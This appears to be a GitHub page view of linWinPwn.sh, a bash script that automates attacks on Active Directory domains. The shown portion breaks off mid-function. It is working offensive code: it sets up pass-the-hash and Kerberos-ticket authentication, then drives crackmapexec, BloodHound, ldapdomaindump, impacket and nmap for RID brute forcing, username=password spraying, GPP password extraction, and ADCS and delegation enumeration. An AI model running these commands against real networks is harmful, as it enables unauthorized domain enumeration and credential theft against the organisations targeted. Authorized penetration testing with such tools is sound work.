forked from lefayjey/linWinPwn
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlinWinPwn.sh
2470 lines (2205 loc) · 91.7 KB
/
linWinPwn.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# Title: linWinPwn
# Author: lefayjey
# Version: 0.5.0
#Colors
RED='\033[1;31m'
GREEN='\033[1;32m'
CYAN='\033[1;36m'
BLUE='\033[1;34m'
YELLOW='\033[1;33m'
PURPLE='\033[1;35m'
NC='\033[0m'
#Default variables
user=""
password=""
modules="interactive"
output_dir="$(pwd)"
pass_list="/usr/share/wordlists/rockyou.txt"
users_list="/usr/share/seclists/Usernames/cirt-default-usernames.txt"
allservers_bool=true
#Tools variables
python=$(which python3)
impacket_dir="/usr/local/bin"
bloodhound=$(which bloodhound-python)
ldapdomaindump=$(which ldapdomaindump)
crackmapexec=$(which crackmapexec)
john=$(which john)
smbmap=$(which smbmap)
nmap=$(which nmap)
adidnsdump=$(which adidnsdump)
certi_py=$(which certi.py)
certipy=$(which certipy)
scripts_dir="/opt/lwp-scripts"
wordlists_dir="/opt/lwp-wordlists"
donpapi_dir="$scripts_dir/DonPAPI-main"
#pass_list="$wordlists_dir/rockyou.txt" #Non-Kali-variables
#users_list="$wordlists_dir/xato-net-10-million-usernames.txt" #Non-Kali-variables
print_banner () {
echo -e "
_ __ ___ ____
| |(_)_ __\ \ / (_)_ __ | _ \__ ___ __
| || | '_ \ \ /\ / /| | '_ \| |_) \ \ /\ / | '_ \
| || | | | |\ V V / | | | | | __/ \ V V /| | | |
|_||_|_| |_| \_/\_/ |_|_| |_|_| \_/\_/ |_| |_|
${BLUE}linWinPwn: ${CYAN} version 0.5.0
${NC}https://github.com/lefayjey/linWinPwn
${BLUE}Author: ${CYAN}lefayjey${NC}
${BLUE}Inspired by: ${CYAN}S3cur3Th1sSh1t's WinPwn${NC}
"
}
help_linWinPwn () {
print_banner
echo -e "${YELLOW}Parameters${NC}"
echo -e "-h/--help Show the help message"
echo -e "-t/--target DC IP or target Domain ${RED}[MANDATORY]${NC}"
echo -e "-u/--username Username (default: empty)"
echo -e "-p/--password Password or LM:NT Hash or location to Kerberos ticket './krb5cc_ticket' (default: empty)"
echo -e "-M/--modules Comma separated modules to run (default: interactive)"
echo -e " ${CYAN}Modules available:${NC} interactive, ad_enum, kerberos, scan_shares, vuln_checks, mssql_enum, pwd_dump, user, all"
echo -e "-o/--output Output directory (default: current dir)"
echo -e ""
echo -e ""
echo -e "${YELLOW}Example usages${NC}"
echo -e "$(pwd)/$(basename "$0") -t dc_ip_or_target_domain ${CYAN}(No password for anonymous login)${NC}" >&2;
echo -e "$(pwd)/$(basename "$0") -t dc_ip_or_target_domain -d domain -u user -p password_or_hash_or_kerbticket" >&2;
echo -e ""
}
args=()
while test $# -gt 0; do
case $1 in
-d) domain="${2}"; shift;;
--domain) domain="${2}"; shift;;
-u) user="${2}"; shift;; #leave empty for anonymous login
--user) user="${2}"; shift;; #leave empty for anonymous login
-p) password="${2}"; shift;; #password or NTLM hash or location of krb5cc ticket
--password) password="${2}"; shift;; #password or NTLM hash or location of krb5cc ticket
-t) dc_ip="${2}"; shift;; #mandatory
--target) dc_ip="${2}"; shift;; #mandatory
-M) modules="${2}"; shift;; #comma separated modules to run
--Modules) modules="${2}"; shift;; #comma separated modules to run
-o) output_dir="${2}"; shift;;
--output) output_dir="${2}"; shift;;
-h) help_linWinPwn; exit;;
--help) help_linWinPwn; exit;;
\?) echo -e "Unknown option: ${2}" >&2; exit 1;;
*) args+=($1);;
esac
shift
done
set -- "${args[@]}"
prepare (){
if [ -z "$dc_ip" ] ; then
echo -e "${RED}[-] Missing target... ${NC}"
echo -e "Use -h for help"
exit 1
fi
if [ ! -f "${crackmapexec}" ] ; then
echo -e "${RED}[-] Please ensure crackmapexec is installed and try again... ${NC}"
exit 1
else
dc_info=$(${crackmapexec} smb ${dc_ip})
fi
dc_NETBIOS=$(echo $dc_info| cut -d ":" -f 2 | sed "s/) (domain//g" | head -n 1)
dc_domain=$(echo $dc_info | cut -d ":" -f 3 | sed "s/) (signing//g"| head -n 1)
dc_FQDN=${dc_NETBIOS}"."${dc_domain}
kdc=""
if [ -z "$dc_domain" ] ; then
echo -e "${RED}[-] Error connecting to target! Please ensure the target is a Domain Controller and try again... ${NC}"
exit 1
elif [ -z "$domain" ] ; then
domain=${dc_domain}
fi
nullsess_bool=false
hash_bool=false
kerb_bool=false
if [ "${user}" == "" ]; then user_out="null"; else user_out=${user}; fi
output_dir="${output_dir}/linWinPwn_${dc_domain}_${user_out}"
servers_ip_list="${output_dir}/DomainRecon/ip_list_${dc_domain}.txt"
dc_ip_list="${output_dir}/DomainRecon/ip_list_dc_${dc_domain}.txt"
sql_ip_list="${output_dir}/DomainRecon/ip_list_sql_${dc_domain}.txt"
servers_list="${output_dir}/DomainRecon/server_custom_list_${dc_domain}.txt"
dc_hostname_list="${output_dir}/DomainRecon/server_list_dc_${dc_domain}.txt"
sql_hostname_list="${output_dir}/DomainRecon/server_list_sql_${dc_domain}.txt"
dns_records="${output_dir}/DomainRecon/dns_records_${dc_domain}.csv"
if [ ! -f "${users_list}" ] ; then
echo -e "${RED}[-] Users list file not found${NC}"
fi
if [ ! -f "${pass_list}" ] ; then
echo -e "${RED}[-] Passwords list file not found${NC}"
fi
#Check if null session is used
if [ "${user}" == "" ] && [ "${password}" == "" ]; then
nullsess_bool=true
target=${dc_ip}
target_dc=${dc_ip_list}
target_sql=${sql_ip_list}
argument_cme=""
argument_smbmap=""
auth_string="${YELLOW}[i]${NC} Authentication method: null session ${NC}"
#Check if username is not provided
elif [ "${user}" == "" ]; then
echo -e "${RED}[i]${NC} Please specify username and try again..."
exit 1
#Check if empty password is used
elif [ "${password}" == "" ]; then
target=${dc_ip}
target_dc=${dc_ip_list}
target_sql=${sql_ip_list}
argument_cme="-d ${domain} -u ${user} -p ''"
argument_ldapdns="-u ${domain}\\${user} -p ''"
argument_smbmap="-d ${domain} -u ${user} -p ''"
argument_imp="${domain}/${user}:''"
argument_bhd="-u ${user}@${domain} -p ''"
argument_windap="-d ${domain} -u ${user} -p ''"
argument_certipy="-u ${user}@${domain} -p ''"
auth_string="${YELLOW}[i]${NC} Authentication method: ${user} with empty password ${NC}"
#Check if NTLM hash is used, and complete with empty LM hash
elif ([ "${#password}" -eq 65 ] && [ "$(expr substr $password 33 1)" == ":" ]) || ([ "${#password}" -eq 33 ] && [ "$(expr substr $password 1 1)" == ":" ]) ; then
hash_bool=true
if [ "$(echo $password | cut -d ":" -f 1)" == "" ]; then
password="aad3b435b51404eeaad3b435b51404ee"$password
fi
target=${dc_ip}
target_dc=${dc_ip_list}
target_sql=${sql_ip_list}
argument_cme="-d ${domain} -u ${user} -H ${password}"
argument_ldapdns="-u ${domain}\\${user} -p ${password}"
argument_smbmap="-d ${domain} -u ${user} -p ${password}"
argument_imp=" -hashes ${password} ${domain}/${user}"
argument_donpapi=" -H ${password} ${domain}/${user}"
argument_bhd="-u ${user}@${domain} --hashes ${password}"
argument_windap="-d ${domain} -u ${user} --hash ${password}"
argument_certipy="-u ${user}@${domain} -hashes ${password}"
auth_string="${YELLOW}[i]${NC} Authentication method: NTLM hash of ${user}"
#Check if kerberos ticket is used
elif [ -f "${password}" ] ; then
kerb_bool=true
target=${dc_domain}
target_dc=${dc_hostname_list}
target_sql=${sql_hostname_list}
export KRB5CCNAME=$(realpath $password)
argument_cme="-d ${domain} -u ${user} -k"
argument_imp="-k -no-pass ${domain}/${user}"
argument_donpapi="-k -no-pass ${domain}/${user}"
argument_bhd="-u ${user}@${domain} -k"
argument_certipy="-u ${user}@${domain} -k -no-pass"
kdc="$(echo $dc_FQDN | cut -d '.' -f 1)."
auth_string="${YELLOW}[i]${NC} Authentication method: Kerberos Ticket of $user located at $(realpath $password)"
#Password authentication is used
else
target=${dc_ip}
target_dc=${dc_ip_list}
target_sql=${sql_ip_list}
argument_cme="-d ${domain} -u ${user} -p ${password}"
argument_ldapdns="-u ${domain}\\${user} -p ${password}"
argument_smbmap="-d ${domain} -u ${user} -p ${password}"
argument_imp="${domain}/${user}:${password}"
argument_donpapi="${domain}/${user}:${password}"
argument_bhd="-u ${user}@${domain} -p ${password}"
argument_windap="-d ${domain} -u ${user} -p ${password}"
argument_certipy="-u ${user}@${domain} -p ${password}"
argument_enum4linux="-w ${domain} -u ${user} -p ${password}"
auth_string="${YELLOW}[i]${NC} Authentication: password of ${user}"
fi
if [ "${nullsess_bool}" == false ] ; then
auth_check=$(${crackmapexec} smb ${target} ${argument_cme} | grep "\[-\]")
if [ ! -z "$auth_check" ] ; then
echo -e "${RED}[-] Error authenticating to domain! Please check your credentials and try again... ${NC}"
exit 1
fi
fi
mkdir -p ${output_dir}/Scans
mkdir -p ${output_dir}/DomainRecon/BloodHound
mkdir -p ${output_dir}/DomainRecon/LDAPDump
mkdir -p ${output_dir}/DomainRecon/ADCS
mkdir -p ${output_dir}/Kerberos
mkdir -p ${output_dir}/Shares/SharesDump
mkdir -p ${output_dir}/Credentials
mkdir -p ${output_dir}/Vulnerabilities
mkdir -p /tmp/shared
echo -e ""
if ! grep -q ${dc_ip} ${servers_ip_list} 2>/dev/null; then
echo ${dc_ip} >> ${servers_ip_list}
fi
if ! grep -q ${dc_ip} ${dc_ip_list} 2>/dev/null; then
echo ${dc_ip} >> ${dc_ip_list}
fi
if ! grep -q ${dc_FQDN} ${dc_hostname_list} 2>/dev/null; then
echo ${dc_FQDN} >> ${dc_hostname_list}
fi
}
dns_enum () {
if [ ! -f "${adidnsdump}" ] ; then
echo -e "${RED}[-] Please verify the installation of adidnsdump${NC}"
echo -e ""
elif [ ! -f "${dns_records}" ]; then
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] adidnsdump requires credentials${NC}"
elif [ "${kerb_bool}" == true ] ; then
echo -e "${PURPLE}[-] adidnsdump does not support kerberos tickets${NC}"
else
echo -e "${BLUE}[*] DNS dump using adidnsdump${NC}"
${adidnsdump} ${argument_ldapdns} --dns-tcp ${dc_ip}
mv records.csv ${output_dir}/DomainRecon/dns_records_${dc_domain}.csv 2>/dev/null
/bin/cat ${output_dir}/DomainRecon/dns_records_${dc_domain}.csv 2>/dev/null | grep "A," | grep -v "DnsZones\|@" | cut -d "," -f 3 > ${servers_ip_list}
/bin/cat ${output_dir}/DomainRecon/dns_records_${dc_domain}.csv 2>/dev/null | grep "@" | grep "A," | cut -d "," -f 3 > ${dc_ip_list}
/bin/cat ${output_dir}/DomainRecon/dns_records_${dc_domain}.csv 2>/dev/null | grep "@" | grep "NS," | cut -d "," -f 3 > ${dc_hostname_list}
fi
else
echo -e "${YELLOW}[i] DNS dump found ${NC}"
fi
echo -e ""
}
smb_scan () {
if [ "${allservers_bool}" == true ] ; then
servers_scan_list=${servers_ip_list}
echo -e "${YELLOW}[i] Scanning all domain servers ${NC}"
else
servers_scan_list=${servers_list}
echo -e "${YELLOW}[i] Scanning servers in ${servers_list} ${NC}"
fi
if [ ! -f "${nmap}" ]; then
echo -e "${RED}[-] Please verify the installation of nmap ${NC}"
else
if [ "${allservers_bool}" == true ] ; then
servers_smb_list="${output_dir}/Scans/servers_all_smb_${dc_domain}.txt"
if [ ! -f "${servers_smb_list}" ]; then
${nmap} -p 445 -Pn -sT -n -iL ${servers_scan_list} -oG ${output_dir}/Scans/nmap_smb_scan_all_${dc_domain}.txt 1>/dev/null 2>&1
grep -a "open" ${output_dir}/Scans/nmap_smb_scan_all_${dc_domain}.txt | cut -d " " -f 2 > ${servers_smb_list}
else
echo -e "${YELLOW}[i] SMB nmap scan results found ${NC}"
fi
else
servers_smb_list="${output_dir}/Scans/servers_custom_smb_${dc_domain}.txt"
${nmap} -p 445 -Pn -sT -n -iL ${servers_scan_list} -oG ${output_dir}/Scans/nmap_smb_scan_custom_${dc_domain}.txt 1>/dev/null 2>&1
grep -a "open" ${output_dir}/Scans/nmap_smb_scan_custom_${dc_domain}.txt | cut -d " " -f 2 > ${servers_smb_list}
fi
fi
echo -e ""
}
bhd_enum () {
if [ ! -f "${bloodhound}" ] ; then
echo -e "${RED}[-] Please verify the installation of bloodhound${NC}"
elif [ -n "$(ls -A ${output_dir}/DomainRecon/BloodHound/ 2>/dev/null)" ] ; then
echo -e "${YELLOW}[i] BloodHound results found. ${NC}"
else
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] BloodHound requires credentials${NC}"
else
echo -e "${BLUE}[*] BloodHound Enumeration using all collection methods (Noisy!)${NC}"
current_dir=$(pwd)
cd ${output_dir}/DomainRecon/BloodHound
${bloodhound} -d ${dc_domain} ${argument_bhd} -c all,LoggedOn -ns ${dc_ip} --dns-timeout 5 --dns-tcp --zip
cd ${current_dir}
fi
fi
echo -e ""
}
bhd_enum_dconly () {
if [ ! -f "${bloodhound}" ] ; then
echo -e "${RED}[-] Please verify the installation of bloodhound${NC}"
elif [ -n "$(ls -A ${output_dir}/DomainRecon/BloodHound/ 2>/dev/null)" ] ; then
echo -e "${YELLOW}[i] BloodHound results found. ${NC}"
else
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] BloodHound requires credentials${NC}"
else
echo -e "${BLUE}[*] BloodHound Enumeration using DCOnly${NC}"
current_dir=$(pwd)
cd ${output_dir}/DomainRecon/BloodHound
${bloodhound} -d ${dc_domain} ${argument_bhd} -c DCOnly -ns ${dc_ip} --dns-timeout 5 --dns-tcp --zip
cd ${current_dir}
fi
fi
echo -e ""
}
ldapdomain_enum () {
if [ ! -f "${ldapdomaindump}" ] ; then
echo -e "${RED}[-] Please verify the installation of ldapdomaindump${NC}"
elif [ -n "$(ls -A ${output_dir}/DomainRecon/LDAPDump/ 2>/dev/null)" ] ; then
echo -e "${YELLOW}[i] ldapdomain results found ${NC}"
else
echo -e "${BLUE}[*] ldapdomain Enumeration${NC}"
if [ "${nullsess_bool}" == true ] ; then
${ldapdomaindump} ldap://${dc_ip} --no-json -o ${output_dir}/DomainRecon/LDAPDump 2>/dev/null
elif [ "${kerb_bool}" == true ] ; then
echo -e "${PURPLE}[-] ldapdomain does not support kerberos tickets${NC}"
else
${ldapdomaindump} ${argument_ldapdns} ldap://${dc_ip} --no-json -o ${output_dir}/DomainRecon/LDAPDump 2>/dev/null
fi
#Parsing user and computer lists
/bin/cat ${output_dir}/DomainRecon/LDAPDump/${dc_domain}/domain_users.grep 2>/dev/null | awk -F '\t' '{ print $3 }'| grep -v "sAMAccountName" | sort -u > ${output_dir}/DomainRecon/users_list_ldap_${dc_domain}.txt 2>&1
/bin/cat ${output_dir}/DomainRecon/LDAPDump/${dc_domain}/domain_computers.grep 2>/dev/null | awk -F '\t' '{ print $3 }' | grep -v "dNSHostName" | sort -u > ${output_dir}/DomainRecon/servers_list_${dc_domain}.txt 2>&1
echo ${dc_FQDN} >> ${output_dir}/DomainRecon/servers_list_${dc_domain}.txt 2>&1
fi
echo -e ""
}
windapsearch_enum () {
if [ ! -f "${scripts_dir}/windapsearch" ]; then
echo -e "${RED}[-] Please verify the location of windapsearch${NC}"
else
echo -e "${BLUE}[*] windapsearch Enumeration${NC}"
if [ "${kerb_bool}" == false ]; then
${scripts_dir}/windapsearch ${argument_windap} --dc ${dc_ip} -m users > ${output_dir}/DomainRecon/windapsearch_users_${dc_domain}.txt 2>/dev/null
${scripts_dir}/windapsearch ${argument_windap} --dc ${dc_ip} -m computers > ${output_dir}/DomainRecon/windapsearch_servers_${dc_domain}.txt
${scripts_dir}/windapsearch ${argument_windap} --dc ${dc_ip} -m groups > ${output_dir}/DomainRecon/windapsearch_groups_${dc_domain}.txt
${scripts_dir}/windapsearch ${argument_windap} --dc ${dc_ip} -m privileged-users > ${output_dir}/DomainRecon/windapsearch_privusers_${dc_domain}.txt
#Parsing user and computer lists
/bin/cat ${output_dir}/DomainRecon/windapsearch_users_${dc_domain}.txt 2>/dev/null | grep "cn:" | sed "s/cn: //g" | sort -u > ${output_dir}/DomainRecon/users_list_windap_${dc_domain}.txt 2>&1
/bin/cat ${output_dir}/DomainRecon/windapsearch_servers_${dc_domain}.txt 2>/dev/null | grep "cn:" | sed "s/cn: //g" | sort -u > ${output_dir}/DomainRecon/servers_list_windap_${dc_domain}.txt 2>&1
/bin/cat ${output_dir}/DomainRecon/windapsearch_groups_${dc_domain}.txt 2>/dev/null | grep "cn:" | sed "s/cn: //g" | sort -u > ${output_dir}/DomainRecon/groups_list_windap_${dc_domain}.txt 2>&1
echo ${dc_FQDN} >> ${output_dir}/DomainRecon/servers_list_${dc_domain}.txt 2>&1
echo -e "${GREEN}[+] windapsearch enumeration of users, servers, groups complete.${NC}"
else
echo -e "${PURPLE}[-] windapsearch does not support kerberos tickets${NC}"
fi
fi
echo -e ""
}
enum4linux_enum () {
if [ ! -f "${scripts_dir}/enum4linux-ng.py" ] ; then
echo -e "${RED}[-] Please verify the installation of enum4linux-ng${NC}"
else
echo -e "${BLUE}[*] enum4linux Enumeration${NC}"
if [ "${nullsess_bool}" == true ] ; then
echo -e "${CYAN}[*] Empty username/password${NC}"
${python} ${scripts_dir}/enum4linux-ng.py -A ${dc_ip} | tee ${output_dir}/DomainRecon/enum4linux_null_${dc_domain}.txt 2>&1
#Parsing user lists
/bin/cat ${output_dir}/DomainRecon/enum4linux_null_${dc_domain}.txt 2>/dev/null | grep "username:" | sed "s/ username: //g" | sort -u > ${output_dir}/DomainRecon/users_list_enum4linux_nullsess_${dc_domain}.txt 2>&1
echo -e "${CYAN}[*] Guest with empty password${NC}"
${python} ${scripts_dir}/enum4linux-ng.py -A ${dc_ip} -u 'Guest' -p '' | tee ${output_dir}/DomainRecon/enum4linux_guest_${dc_domain}.txt 2>&1
#Parsing user lists
/bin/cat ${output_dir}/DomainRecon/enum4linux_guest_${dc_domain}.txt 2>/dev/null | grep "username:" | sed "s/ username: //g" | sort -u > ${output_dir}/DomainRecon/users_list_enum4linux_guest_${dc_domain}.txt 2>&1
elif [ "${kerb_bool}" == true ] || [ "${hash_bool}" == true ] ; then
echo -e "${PURPLE}[-] enum4linux does not support kerberos tickets nor PtH${NC}"
else
${python} ${scripts_dir}/enum4linux-ng.py -A ${argument_enum4linux} ${dc_ip} | tee ${output_dir}/DomainRecon/enum4linux_${dc_domain}.txt 2>&1
#Parsing user lists
/bin/cat ${output_dir}/DomainRecon/enum4linux_${dc_domain}.txt 2>/dev/null | grep "username:" | sed "s/ username: //g" | sort -u > ${output_dir}/DomainRecon/users_list_enum4linux_${dc_domain}.txt 2>&1
fi
fi
echo -e ""
}
ridbrute_attack () {
echo -e "${BLUE}[*] RID Brute Force (Null session)${NC}"
if [ "${nullsess_bool}" == true ] ; then
${crackmapexec} smb ${target} ${argument_cme} --rid-brute 2>/dev/null > ${output_dir}/DomainRecon/cme_rid_brute_${dc_domain}.txt
#Parsing user lists
/bin/cat ${output_dir}/DomainRecon/rid_brute_${dc_domain}.txt 2>/dev/null | grep "SidTypeUser" | cut -d ":" -f 2 | cut -d "\\" -f 2 | sed "s/ (SidTypeUser)\x1B\[0m//g" > ${output_dir}/DomainRecon/users_list_ridbrute_${dc_domain}.txt 2>&1
count=$(wc -l ${output_dir}/DomainRecon/users_list_ridbrute_${dc_domain}.txt | cut -d " " -f 1)
echo -e "${GREEN}[+] Found ${count} users using RID Brute Force"
else
echo -e "${PURPLE}[-] Null session RID brute force can only be executed without credentials${NC}"
fi
echo -e ""
}
users_enum () {
if [ "${nullsess_bool}" == true ] ; then
echo -e "${BLUE}[*] Users Enumeration (Null session)${NC}"
${crackmapexec} smb ${target} ${argument_cme} --users > ${output_dir}/DomainRecon/cme_users_nullsess_smb_${dc_domain}.txt
${crackmapexec} ldap ${target} -u '' -p '' --users --kdcHost "${kdc}${dc_domain}" > ${output_dir}/DomainRecon/cme_users_nullsess_ldap_${dc_domain}.txt
#Parsing user lists
/bin/cat ${output_dir}/DomainRecon/cme_users_nullsess_smb_${dc_domain}.txt 2>/dev/null | grep "${dc_domain}" | grep -v ":" | cut -d "\\" -f 2 | cut -d " " -f 1 > ${output_dir}/DomainRecon/users_list_cme_nullsess_${dc_domain}.txt 2>&1
count=$(cat ${output_dir}/DomainRecon/users_list_cme_nullsess_${dc_domain}.txt | sort -u | wc -l | cut -d " " -f 1)
echo -e "${GREEN}[+] Found ${count} users using RPC User Enum"
else
echo -e "${BLUE}[*] Users Enumeration (authenticated)${NC}"
${crackmapexec} smb ${target} ${argument_cme} --users > ${output_dir}/DomainRecon/cme_users_auth_${dc_domain}.txt
#Parsing user lists
/bin/cat ${output_dir}/DomainRecon/cme_users_auth_${dc_domain}.txt 2>/dev/null | grep "${dc_domain}\\\\" | cut -d "\\" -f 2 | cut -d " " -f 1 | cut -d ":" -f 1 > ${output_dir}/DomainRecon/users_list_cme_${dc_domain}.txt 2>&1
count=$(cat ${output_dir}/DomainRecon/users_list_cme_${dc_domain}.txt | sort -u | wc -l | cut -d " " -f 1)
echo -e "${GREEN}[+] Found ${count} users using RPC User Enum"
fi
echo -e ""
}
userpass_cme_check () {
known_users_list="${output_dir}/DomainRecon/users_list_sorted_${dc_domain}.txt"
/bin/cat ${output_dir}/DomainRecon/users_list_*_${dc_domain}.txt 2>/dev/null | sort -uf > ${known_users_list} 2>&1
if [ ! -s "${known_users_list}" ] ; then
users_enum
fi
echo -e "${BLUE}[*] Crackmapexec User=Pass Check (Noisy!)${NC}"
echo -e "${YELLOW}[i] Finding users with Password = username using crackmapexec. This may take a while...${NC}"
${crackmapexec} smb ${target} -u ${known_users_list} -p ${known_users_list} --no-bruteforce --continue-on-success 2>/dev/null > ${output_dir}/DomainRecon/cme_userpass_output_${dc_domain}.txt 2>&1
/bin/cat ${output_dir}/DomainRecon/cme_userpass_output_${dc_domain}.txt 2>&1 | grep "\[+\]" | cut -d "\\" -f 2 | cut -d " " -f 1 > "${output_dir}/DomainRecon/user_eq_pass_valid_cme_${dc_domain}.txt"
if [ -s "${output_dir}/DomainRecon/user_eq_pass_valid_cme_${dc_domain}.txt" ] ; then
echo -e "${GREEN}[+] Printing accounts with username=password...${NC}"
/bin/cat ${output_dir}/DomainRecon/user_eq_pass_valid_cme_${dc_domain}.txt 2>/dev/null
else
echo -e "${PURPLE}[-] No accounts with username=password found${NC}"
fi
echo -e ""
}
passpol_enum () {
echo -e "${BLUE}[*] Password Policy Enumeration${NC}"
${crackmapexec} smb ${target} ${argument_cme} --pass-pol 2>/dev/null | tee ${output_dir}/DomainRecon/cme_passpol_output_${dc_domain}.txt 2>&1
echo -e ""
}
gpp_enum () {
echo -e "${BLUE}[*] GPP Enumeration${NC}"
${crackmapexec} smb ${target_dc} ${argument_cme} -M gpp_autologin 2>/dev/null | tee ${output_dir}/DomainRecon/cme_gpp_output_${dc_domain}.txt 2>&1
${crackmapexec} smb ${target_dc} ${argument_cme} -M gpp_password 2>/dev/null | tee -a ${output_dir}/DomainRecon/cme_gpp_output_${dc_domain}.txt 2>&1
echo -e ""
}
passnotreq_enum () {
echo -e "${BLUE}[*] Password not required Enumeration${NC}"
${crackmapexec} ldap ${target_dc} ${argument_cme} --password-not-required --kdcHost "${kdc}${dc_domain}" 2>/dev/null | tee ${output_dir}/DomainRecon/cme_passnotrequired_output_${dc_domain}.txt 2>&1
echo -e ""
}
adcs_enum () {
echo -e "${BLUE}[*] ADCS Enumeration${NC}"
${crackmapexec} ldap ${target} ${argument_cme} -M adcs --kdcHost "${kdc}${dc_domain}" 2>/dev/null | tee ${output_dir}/DomainRecon/ADCS/cme_adcs_output_${dc_domain}.txt 2>&1
echo -e ""
}
passdesc_enum () {
echo -e "${BLUE}[*] Users Description containing word: pass${NC}"
${crackmapexec} ldap ${target} ${argument_cme} -M get-desc-users --kdcHost "${kdc}${dc_domain}" 2>/dev/null | tee ${output_dir}/DomainRecon/cme_get-desc-users_pass_output_${dc_domain}.txt 2>&1
/bin/cat ${output_dir}/DomainRecon/cme_get-desc-users_pass_output_${dc_domain}.txt 2>/dev/null | grep -i "pass" > ${output_dir}/DomainRecon/cme_get-desc-users_pass_results_${dc_domain}.txt 2>&1
echo -e ""
}
macq_enum () {
echo -e "${BLUE}[*] Get MachineAccountQuota${NC}"
${crackmapexec} ldap ${target} ${argument_cme} -M MAQ --kdcHost "${kdc}${dc_domain}" 2>/dev/null | tee ${output_dir}/DomainRecon/cme_MachineAccountQuota_output_${dc_domain}.txt 2>&1
echo -e ""
}
ldapsign_enum () {
echo -e "${BLUE}[*] LDAP-signing check${NC}"
${crackmapexec} ldap ${target_dc} ${argument_cme} -M ldap-signing --kdcHost "${kdc}${dc_domain}" 2>/dev/null | tee ${output_dir}/DomainRecon/cme_ldap-signing_output_${dc_domain}.txt 2>&1
${crackmapexec} ldap ${target_dc} ${argument_cme} -M ldap-checker --kdcHost "${kdc}${dc_domain}" 2>/dev/null | tee ${output_dir}/DomainRecon/cme_ldap-checker_output_${dc_domain}.txt 2>&1
echo -e ""
}
deleg_enum_cme () {
echo -e "${BLUE}[*] Trusted-for-delegation check (cme)${NC}"
${crackmapexec} ldap ${target_dc} ${argument_cme} --trusted-for-delegation --kdcHost "${kdc}${dc_domain}" 2>/dev/null | tee ${output_dir}/DomainRecon/cme_trusted-for-delegation_output_${dc_domain}.txt 2>&1
echo -e ""
}
deleg_enum_imp () {
if [ ! -f "${impacket_dir}/findDelegation.py" ] ; then
echo -e "${RED}[-] findDelegation.py not found! Please verify the installation of impacket${NC}"
else
echo -e "${BLUE}[*] Impacket findDelegation Enumeration${NC}"
if [ "${nullsess_bool}" == true ] ; then
echo -e "${PURPLE}[-] impacket requires credentials${NC}"
else
${python} ${impacket_dir}/findDelegation.py ${argument_imp} -dc-ip ${dc_ip} -target-domain ${dc_domain} | tee ${output_dir}/DomainRecon/impacket_findDelegation_output_${dc_domain}.txt
